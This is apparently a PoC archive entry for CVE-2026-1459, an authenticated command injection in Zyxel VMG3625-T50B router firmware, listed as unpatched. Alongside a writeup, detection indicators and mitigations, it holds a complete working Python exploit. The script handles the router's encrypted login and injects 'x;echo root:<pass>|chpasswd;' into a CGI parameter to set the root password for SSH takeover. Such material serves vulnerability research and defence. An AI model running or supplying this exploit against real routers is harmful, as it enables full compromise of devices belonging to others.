PoC Archive PoC Archive
High CVE-2026-1459 unpatched

Zyxel VMG3625-T50B Authenticated Command Injection to Root SSH Access (CVE-2026-1459)

by Toouch67 · 2026-07-05

Severity
High
CVE
CVE-2026-1459
Category
network
Affected product
Zyxel VMG3625-T50B (and similar) router firmware
Affected versions
Firmware V5.50(ABPM.9.7)C0 or earlier
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherToouch67
CVE / AdvisoryCVE-2026-1459
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagszyxel, router, firmware, command-injection, cgi-bin, ssh, authenticated, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemZyxel VMG3625-T50B (and similar) router firmware
Versions AffectedFirmware V5.50(ABPM.9.7)C0 or earlier
Language / PlatformPython 3 PoC against the router’s HTTPS/CGI management interface
Authentication RequiredYes (valid admin credentials)
Network Access RequiredYes

Summary

The router’s web management interface exposes a TR369Certificates CGI endpoint whose name parameter, used during a certificate “download” action, is passed unsanitized into a shell command executed as root. An authenticated administrator (or attacker with stolen admin credentials) can log in through the router’s RSA/AES-encrypted authentication flow to obtain a session key, then send a crafted name parameter containing shell metacharacters that set the device’s root account password via chpasswd. Once this runs, the attacker can SSH into the router as root using the newly set password; the change is only temporary and is reverted on the next reboot.


Vulnerability Details

Root Cause

The TR369Certificates?action=download&name=<value> CGI handler concatenates the name parameter into a shell command without sanitization or escaping, allowing shell metacharacters (;) to inject arbitrary commands that execute with root privileges.

Attack Vector

  1. Attacker obtains valid administrator credentials for the router’s web management interface.
  2. Attacker performs the router’s RSA-encrypted login flow (getRSAPublickKey + AES-wrapped UserLogin) to establish an authenticated session and CSRF/session token.
  3. Attacker sends a GET request to /cgi-bin/TR369Certificates?action=download&name=x;echo root:<password>|chpasswd; using the obtained session token as the CSRF header.
  4. The unsanitized name value is executed in a root shell context, setting the root account’s password to the attacker-chosen value.
  5. Attacker connects via SSH as root using the new password to obtain a full root shell on the device (reset on next reboot).

Impact

An already-authenticated admin-level attacker can escalate to a persistent (until reboot) root shell over SSH, achieving full control of the router’s underlying Linux system.


Environment / Lab Setup

Target:   Zyxel VMG3625-T50B (or similar) running firmware <= V5.50(ABPM.9.7)C0
Attacker: Python 3, pycryptodome, requests

Proof of Concept

PoC Script

See CVE-2026-1459-shell.py in this folder.

1
python3 CVE-2026-1459-shell.py http://10.0.0.138 admin pass new_ssh_password

The script logs in with the supplied admin credentials via the router’s encrypted login flow, then sends the crafted TR369Certificates request that sets the root account’s SSH password to new_ssh_password, after which the attacker can SSH in as root.


Detection & Indicators of Compromise

Signs of compromise:

  • Web server/access logs showing TR369Certificates requests with name parameters containing ;, |, or chpasswd.
  • Unexpected root SSH logins to the router shortly after an admin web session.
  • Root account password changes not corresponding to any admin UI password-change action.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; upgrade firmware beyond V5.50(ABPM.9.7)C0 once available.
Interim mitigationDisable remote/WAN management access, restrict admin web UI to trusted networks, and rotate admin credentials regularly.

References


Notes

Mirrored from https://github.com/Toouch67/CVE-2026-1459-POC on 2026-07-05.

CVE-2026-1459-shell.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3

"""
Exploits CVE-2026-1459 to obtain shell access to the router
Requires valid administration credentials, changes root password temporarily, restarting will reset the root password.
Works on VMG3625-T50B and similar, is guaranteed to work on firmware V5.50(ABPM.9.7)C0 or earlier.
"""
import argparse
import base64
import json
import sys

import requests
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_v15
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad

requests.packages.urllib3.disable_warnings()

def rsa_encrypt_v15(pem: str, data: bytes) -> str:
    return base64.b64encode(PKCS1_v15.new(RSA.import_key(pem)).encrypt(data)).decode()

def aes_encrypt(key: bytes, iv16: bytes, plaintext: str) -> str:
    cipher = AES.new(key, AES.MODE_CBC, iv16)
    ct = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
    return base64.b64encode(ct).decode()

def aes_decrypt(key: bytes, iv_b64: str, ct_b64: str) -> dict:
    iv = base64.b64decode(iv_b64)[:16]
    ct = base64.b64decode(ct_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pt = unpad(cipher.decrypt(ct), AES.block_size)
    return json.loads(pt.decode())


def login(host: str, username: str, password: str):
    base_url = host.rstrip("/")
    s = requests.Session()
    s.verify = False

    try:
        s.get(base_url, timeout=5)
    except Exception:
        print("Host is not up, are you sure you entered correct host?")
        return
    
    
    pem = None
    try:
        r = s.get(f"{base_url}/getRSAPublickKey", timeout=10)
        key_response = r.json() if r.content else {}
        if "RSAPublicKey" in key_response:
            pem = key_response["RSAPublicKey"]
    except Exception as e:
        print(f"Failed to obtain RSA public key for login: {e}")
        return

    base64_password = base64.b64encode(password.encode()).decode()
    login_payload = {
        "Input_Account": username,
        "Input_Passwd": base64_password,
        "currLang": "en",
        "RememberPassword": 0,
        "SHA512_password": False
    }

    aes_key_bytes = get_random_bytes(32)
    aes_iv_bytes  = get_random_bytes(32)
    aes_key_b64   = base64.b64encode(aes_key_bytes).decode()
    aes_iv_b64    = base64.b64encode(aes_iv_bytes).decode()

    encryption_key = rsa_encrypt_v15(pem, aes_key_b64.encode())
    request_body = {
        "content": aes_encrypt(aes_key_bytes, aes_iv_bytes[:16], json.dumps(login_payload)),
        "key": encryption_key,
        "iv": aes_iv_b64
    }

    try:
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
        r = s.post(f"{base_url}/UserLogin", data=json.dumps(request_body), headers=headers, timeout=10)
        content = r.json() if r.content else {}
        response = aes_decrypt(aes_key_bytes, content["iv"], content["content"])
        if response['result'] != 'ZCFG_SUCCESS':
            print(f"Failed to login, are you sure you entered correct credentials?")
            return
        
        session_key = response['sessionkey']

        return s, aes_key_bytes, session_key
    except Exception as e:
        print(f"Failed to login, are you sure you entered correct credentials? {e}")

def exploit(session: requests.Session, base_url: str, session_key: str, root_pass: str):
    payload = f"x;echo root:{root_pass}|chpasswd;"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "CSRFToken":    session_key
    }

    try:
        r = session.request("GET", f"{base_url}/cgi-bin/TR369Certificates?action=download&name={requests.utils.quote(payload)}", headers=headers, timeout=10)

        if r.status_code == 200:
            print("Exploit succeeded, you should now be able to ssh to the router as root with the provided password.")
    except Exception as e:
        print("Exploit failed.")


if __name__ == "__main__":
    ap = argparse.ArgumentParser(
        description="CVE-2026-1459 exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
examples:
        CVE-2026-1459-shell.py http://10.0.0.138 admin pass new_ssh_password
        """
    )

    ap.add_argument("host", help="Router base URL (e.g. http://10.0.0.138)")
    ap.add_argument("username", help="Account username")
    ap.add_argument("password", help="Account Password")
    ap.add_argument("new_ssh_password", help="The new root ssh password")
    args = ap.parse_args()

    result = login(args.host, args.username, args.password)
    if result is None:
        sys.exit(-1)
    session, aes_key, session_key = result
    exploit(session, args.host, session_key, args.new_ssh_password)